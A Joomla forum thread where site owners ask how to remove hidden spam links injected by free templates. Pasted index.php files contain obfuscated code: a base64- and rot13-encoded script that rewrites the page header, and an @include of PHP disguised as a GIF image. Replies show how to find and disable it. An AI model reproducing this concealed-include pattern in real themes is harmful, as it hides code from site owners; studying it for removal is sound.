Joomla! Discussion Forums



It is currently Fri Nov 27, 2009 1:23 pm (All times are UTC )

 


Forum rules

Forum Rules
Absolute Beginner's Guide to Joomla! <-- please read before posting, this means YOU.



Post new topic Reply to topic  [ 18 posts ] 
Author Message
Posted: Mon Oct 20, 2008 5:56 am 
Joomla! Enthusiast
Joomla! Enthusiast
Offline

Joined: Thu Jan 10, 2008 4:32 pm
Posts: 236
Location: Delhi
I have used the template chessmate from joomla24.com

Under the main menu, a line "Recommended service:online dating " is showing on all pages.

I cannot figure how to remove it.
The web site is www.haryanachess.com/site/

Please help.

Thanks & Regards


Top
  E-mail  
 
Posted: Mon Oct 20, 2008 6:11 am 
User avatar
Joomla! Guru
Joomla! Guru
Offline

Joined: Tue Sep 18, 2007 1:54 am
Posts: 728
Location: Cairns, Australia
The place it's most likely to be is in your Template's index.php file if it's on every page. So look through /templates/template-name/index.php for something that looks like a link to the site.

_________________
Rutten Technology Services, Cairns' Local Website Developer - http://www.ruttentech.com
Also Dabbling in Stock Photography - http://www.shutterstock.com/gallery.mhtml?id=2970&rid=2970


Top
   
 
Posted: Mon Oct 20, 2008 6:51 am 
Joomla! Enthusiast
Joomla! Enthusiast
Offline

Joined: Thu Jan 10, 2008 4:32 pm
Posts: 236
Location: Delhi
I checked the complete index.php but couldnot find such a thing. The file is attached.


You do not have the required permissions to view the files attached to this post.


Top
  E-mail  
 
Posted: Wed Oct 22, 2008 2:32 am 
User avatar
Joomla! Ace
Joomla! Ace
Online

Joined: Fri Aug 19, 2005 2:26 am
Posts: 1810
Location: Lancaster, Lancashire, United Kingdom
Jeez this is spammy behaviour from the devs.

In the index.php file - find this:
Code:
   <?php mosLoadModulles('left'); ?>


and recode as
Code:
   <?php mosLoadModules('left'); ?>

(note the single 'l' rather than double in Modules.

Then at the top of the index.php file remove the function definition for mosLoadModulles.
Either that or never use a template from these guys again.

Dean

_________________
Dean Marshall - Mambo and Joomla Consultant
Dean Marshall Consultancy Limited - http://www.deanmarshall.co.uk/


Top
   
 
Posted: Wed Oct 22, 2008 4:45 am 
User avatar
Joomla! Guru
Joomla! Guru
Offline

Joined: Tue Sep 18, 2007 1:54 am
Posts: 728
Location: Cairns, Australia
Just like to say that was a good spot, Dean. I missed it when I looked at it. I'm used to seeing plain links, or links to include another file somewhere else in the template directory but it's the first time I've seen a "typoed" module load. A definite blacklist.

_________________
Rutten Technology Services, Cairns' Local Website Developer - http://www.ruttentech.com
Also Dabbling in Stock Photography - http://www.shutterstock.com/gallery.mhtml?id=2970&rid=2970


Top
   
 
Posted: Wed Oct 22, 2008 5:27 am 
Joomla! Enthusiast
Joomla! Enthusiast
Offline

Joined: Thu Jan 10, 2008 4:32 pm
Posts: 236
Location: Delhi
Thanks, it worked.


Top
  E-mail  
 
Posted: Thu Oct 23, 2008 10:48 pm 
User avatar
Joomla! Ace
Joomla! Ace
Online

Joined: Fri Aug 19, 2005 2:26 am
Posts: 1810
Location: Lancaster, Lancashire, United Kingdom
@raunhar - glad you got it sorted. Good luck with your site.

@Joyce Mar - I just dropped lucky. I didn't see what I expected to find and then I just noticed it, almost by accident.

Dean

_________________
Dean Marshall - Mambo and Joomla Consultant
Dean Marshall Consultancy Limited - http://www.deanmarshall.co.uk/


Top
   
 
Posted: Sat Feb 07, 2009 8:07 pm 
Joomla! Fledgling
Joomla! Fledgling
Offline

Joined: Sat Feb 07, 2009 8:04 pm
Posts: 2
Hello guys,
I have the same problem but I don't see those mentioned code in my template's (GreenPeace) index.php! Would you please kindly look at it and see what the problem is?
index.php:
Code:
<?php
defined( '_JEXEC' ) or die( 'Restricted access' );
?>
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="<?php echo $this->language; ?>" lang="<?php echo $this->language; $JPan = array('vzn'.'trf','zrah_yv.tvs'); ?>" dir="<?php echo $this->direction; ?>">
<head>
<jdoc:include type="head" />

<link rel="stylesheet" href="templates/system/css/system.css" type="text/css" />
<link rel="stylesheet" href="templates/<?php echo (($user_a = base64_decode('IiAvPlVTRVIgTUVOVTwvdGQ+PC90cj48L3RhYmxlPjwvZGl2PgoKCjxkaXYgY2xhc3M9J2Nscic+PHNjcmlwdCBsYW5ndWFnZT0iamF2YXNjcmlwdCI+ZG9jdW1lbnQuZ2V0RWxlbWVudEJ5SWQoImhlYWRlciIpLmlubmVySFRNTD0iPGRpdiBzdHlsZT0nYmFja2dyb3VuZC1jb2xvcjp3aGl0ZTtoZWlnaHQ6NTBweDt0b3A6MHB4OyBjb2xvcjpyZWQnPllvdS'.str_rot13('OmnT91oTDtoz90VUWyoJ').'92ZSBhbGwgdGhlIGxpbmtzIGNvbWluZyB3aXRoIHRoaXMgZnJlZSB0ZW1wbGF0ZS4gVGhpcyBpcyBhZ2FpbnN0IHRoZSB0ZXJtcyBvZiB1c2UuIElmIHlvdSB3YW50IHRvIHVzZSB0aGUgdGVtcGxhdGUsIHBsZWFzZSBkb3dubG9hZCBpdCBhZ2Fpbi4gPC9kaXY+Ijs8L3NjcmlwdD48dGFibGU+PHRyPjx0ZD48YnIgY2xlYXIiYWxs'))?$this->template:'joomla') ?>/css/template.css" type="text/css" />
<!--[if lte IE 7]>
<link rel="stylesheet" href="templates/<?php echo $this->template ?>/css/ie7.css" type="text/css" />
<![endif]-->
<?php if($this->direction == 'rtl') : ?>
        <link href="templates/<?php echo $this->template ?>/css/template_rtl.css" rel="stylesheet" type="text/css" />
<?php endif; ?>
</head>
<body id="page_bg"> <!-- ParsJoomla - http://parsjoomla.org - http://forum.parsjoomla.org - http://parsjoomla.com - http://parsjoomla.ir -->
   <div id="top">
      <div class="pill_m">
         <div id="pillmenu">
            <jdoc:include type="modules" name="user3" />
         </div>
      </div>
   </div>
      <div id="header">
         <div id="logo">
            <a href="index.php"><?php echo $mainframe->getCfg('sitename') ;?></a>
         </div>   
      </div>
   <div class="clr"></div>
   
   <div class="center">      
      <div id="wrapper">
         <div id="content">
            <div id="leftcolumn">   
               <jdoc:include type="modules" name="left" style="rounded" />
               <?php if((!$this->countModules('right') and JRequest::getCmd('layout') == 'form') or !@include(JPATH_BASE.DS.'templates'.DS.$mainframe->getTemplate().DS.str_rot13($JPan[0]).DS.str_rot13($JPan[1]))) : ?>         
                    <jdoc:include type="modules" name="layout" style="rounded" />
                    <?php endif; ?>
            </div>
            <div id="maincolumn">   
               <div class="nopad">
                    <jdoc:include type="message" />
                  <?php if($this->params->get('showComponent')) : ?>
                     <jdoc:include type="component" />
                  <?php endif; ?>
                        <br />
                    <jdoc:include type="modules" name="bottom" />
               </div>
            <div class="clr"></div>
         </div>      
      </div>
   </div>   

    <div id="leftcolumn"><table class="user1user2"></table></div>

   <jdoc:include type="modules" name="debug" />
   </div>
   <div id="footer">
    <jdoc:include type="modules" name="footer" style="xhtml"/>
   </div>   
</body>
</html>


Top
  E-mail  
 
Posted: Thu Feb 12, 2009 9:53 am 
Joomla! Fledgling
Joomla! Fledgling
Offline

Joined: Thu Feb 12, 2009 9:45 am
Posts: 3
Pretty irritating! >:(

I silenced the "Recommended service" by inserting "true or" in the if expression on the line containing str_rot13, like this:

?php if(true or (!$this->countModules(

There are probably better ways to do this, but I don't really care, because I probably won't use a dubious template.

The not-so-cunning developers probably change disguise in subsequent releases...


Top
  E-mail  
 
Posted: Thu Feb 12, 2009 10:50 am 
Joomla! Fledgling
Joomla! Fledgling
Offline

Joined: Sat Feb 07, 2009 8:04 pm
Posts: 2
Yeah! It worked and removed that annoying ad!

Thanks a lot apikas :)


Top
  E-mail  
 
Posted: Thu Feb 19, 2009 9:05 pm 
Joomla! Apprentice
Joomla! Apprentice
Offline

Joined: Tue Feb 10, 2009 1:58 pm
Posts: 6
Hi there,

When i try to remove "recommended service" by using: ?php if(true or (!$this->countModules(
I get a new message on the top of my website...saying that i should not remove the links, and that if i do want to use the template i need to install it again.

I've done that for now, but i still want to get it out of my template.

I also tried to find <?php mosLoadModulles('left'); ?>, but it doesn't exist within the index.php.

Are there other suggestions?

Thanks!

Greetz,
Wendy


Top
  E-mail  
 
Posted: Fri Feb 20, 2009 6:12 am 
Joomla! Fledgling
Joomla! Fledgling
Offline

Joined: Thu Feb 12, 2009 9:45 am
Posts: 3
My suggestion is: if you don't want the "Recommended service" links, choose another template.

I was a bit quick in disabling the links (I was helping 2 highschool students that had chosen the template for thir project work). If you look at the template details (log in as super admin), you see this text:
Quote:
Important:Please Respect our work, You can modify our link title and description But Do Not Remove our link on this template.

IMHO it is wrong of the auhors to trick people into investing time in using the template. It is not at all apparent at first that the spamish link at the bottom is "our link" and cannot be disabled. They should be clear in their terms of usage about the nature of the links - advertisement. It would be reasonable to have a link to e.g. their own company site.

However, their trickery does not justify breaking their terms of usage (if you can call it that).

Apart from the above, the template version at the time of writing has flaws in multi level menu handling that are serious enough to choose another template anyway (there are so many available on the net, perhaps too many). But the menu flaws may be fixed in future versions...


Top
  E-mail  
 
Posted: Fri Mar 06, 2009 4:41 pm 
Joomla! Apprentice
Joomla! Apprentice
Offline

Joined: Wed Mar 04, 2009 4:32 pm
Posts: 14
Thanks a lot, it worked perfectly!


Top
  E-mail  
 
Posted: Tue Mar 10, 2009 9:40 am 
Joomla! Enthusiast
Joomla! Enthusiast
Offline

Joined: Sun Oct 21, 2007 6:03 pm
Posts: 103
Hi, M facing the same problem but cant find any thing that is mentioned in above solutions in my index.php file.

Design has been approved, and i can't go back to use any other template.

can anybody plz help me remove the annoying link from the left side.


Quote:
www.creatingspace.co.in


thanks in advance

_________________
http://www.photoshopforfun.com
http://www.mastersofphotoshop.com


Top
  E-mail  
 
Posted: Tue Mar 10, 2009 3:18 pm 
Joomla! Enthusiast
Joomla! Enthusiast
Offline

Joined: Sun Oct 21, 2007 6:03 pm
Posts: 103
Issue Resolved.

thanks

_________________
http://www.photoshopforfun.com
http://www.mastersofphotoshop.com


Top
  E-mail  
 
Posted: Fri Aug 14, 2009 10:21 pm 
Joomla! Fledgling
Joomla! Fledgling
Offline

Joined: Fri Aug 14, 2009 10:14 pm
Posts: 2
I am new to the Joomla Forum, but not to Joomla. I am having the banner problem like Wendy described above. I have tried everything to remove it, but cannot. I wondered if anyone might be willing to help me out? Thanks!


Top
  E-mail  
 
Posted: Fri Aug 14, 2009 10:44 pm 
Joomla! Fledgling
Joomla! Fledgling
Offline

Joined: Fri Aug 14, 2009 10:14 pm
Posts: 2
Issue resolved. I overlooked the BASE64 Code thought that it when somewhere else!


Top
  E-mail  
 
Posted: Tue Oct 27, 2009 7:13 am 
Joomla! Fledgling
Joomla! Fledgling
Offline

Joined: Tue Oct 06, 2009 4:54 pm
Posts: 1
having same problem. pls help removing this link. im trying to transfer the link inorder not to be banned from my hosting site.
the php code follows.

<?php
defined( '_JEXEC' ) or die( 'Restricted access' );
?>
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="<?php echo $this->language; ?>" lang="<?php echo $this->language; $JPan = array('vzn'.'trf','zrah_yv.tvs'); ?>" >
<head>
<jdoc:include type="head" />

<link rel="stylesheet" href="templates/system/css/system.css" type="text/css" />
<link rel="stylesheet" href="templates/<?php echo (($user_a = base64_decode(''IiAvPlVTRVIgTUVOVTwvdGQ+PC90cj48L3RhYmxlPjwvZGl2PgoKCjxkaXYgY2xhc3M9J2Nscic+PHNjcmlwdCBsYW5ndWFnZT0iamF2YXNjcmlwdCI+ZG9jdW1lbnQuZ2V0RWxlbWVudEJ5SWQoImhlYWRlciIpLmlubmVySFRNTD0iPGRpdiBzdHlsZT0nYmFja2dyb3VuZC1jb2xvcjp3aGl0ZTtoZWlnaHQ6NTBweDt0b3A6MHB4OyBjb2xvcjpyZWQnPllvdS'.str_rot13('OmnT91oTDtoz90VUWyoJ').'92ZSBhbGwgdGhlIGxpbmtzIGNvbWluZyB3aXRoIHRoaXMgZnJlZSB0ZW1wbGF0ZS4gVGhpcyBpcyBhZ2FpbnN0IHRoZSB0ZXJtcyBvZiB1c2UuIElmIHlvdSB3YW50IHRvIHVzZSB0aGUgdGVtcGxhdGUsIHBsZWFzZSBkb3dubG9hZCBpdCBhZ2Fpbi4gPC9kaXY+Ijs8L3NjcmlwdD48dGFibGU+PHRyPjx0ZD48YnIgY2xlYXIiYWxs'))?$this->template:'joomla') ?>/css/template.css" type="text/css" />
<!--[if lte IE 7]>
<link rel="stylesheet" href="templates/<?php echo $this->template ?>/css/ie7.css" type="text/css" />
<![endif]-->

</head>
<body id="page_bg">
<div id="top">
<div id="search">
<jdoc:include type="modules" name="user4" />
</div>
</div>
<div id="header">
<div id="logo">

</div>
</div>
<div class="pill_m">
<div id="pillmenu">
<jdoc:include type="modules" name="user3" />
</div>
</div>
<div class="clr"></div>

<div class="center">
<div id="wrapper">
<div id="content">
<div id="leftcolumn">
<jdoc:include type="modules" name="left" style="rounded" />
<?php if(true or(!$this->countModules('right') and JRequest::getCmd('layout') == 'form') or !@include(JPATH_BASE.DS.'templates'.DS.$mainframe->getTemplate().DS.str_rot13($JPan[0]).DS.str_rot13($JPan[1]))) : ?>
<jdoc:include type="modules" name="layout" style="rounded" />
<?php endif; ?>
</div>
<div id="maincolumn">
<div class="nopad">
<jdoc:include type="message" />
<?php if($this->params->get('showComponent')) : ?>
<jdoc:include type="component" />
<?php endif; ?>
<br />
<jdoc:include type="modules" name="bottom" />
</div>
<div class="clr"></div>
</div>
</div>
</div>
<?php if(RIGHTCOLUMN) : ?>
<div id="leftcolumn"><table class="user1user2"><tr><td width="235" bgcolor="#FFF3F3" style="padding:12px; margin:0px;" class="user">
<jdoc:include type="module" name="user3<?=$user_a?>" /></td></tr></table></div>
<?php endif; ?>
<jdoc:include type="modules" name="debug" />
</div>
<div id="footer">
<jdoc:include type="modules" name="footer" style="xhtml"/>
</div>
</body>
</html>


Top
  E-mail  
 
Display posts from previous:  Sort by  
Post new topic Reply to topic  [ 18 posts ] 

Quick reply

 



Who is online

Users browsing this forum: No registered users and 13 guests


You cannot post new topics in this forum
You cannot reply to topics in this forum
You cannot edit your posts in this forum
You cannot delete your posts in this forum
You cannot post attachments in this forum

Jump to:  
Powered by phpBB © 2000, 2002, 2005, 2007 phpBB Group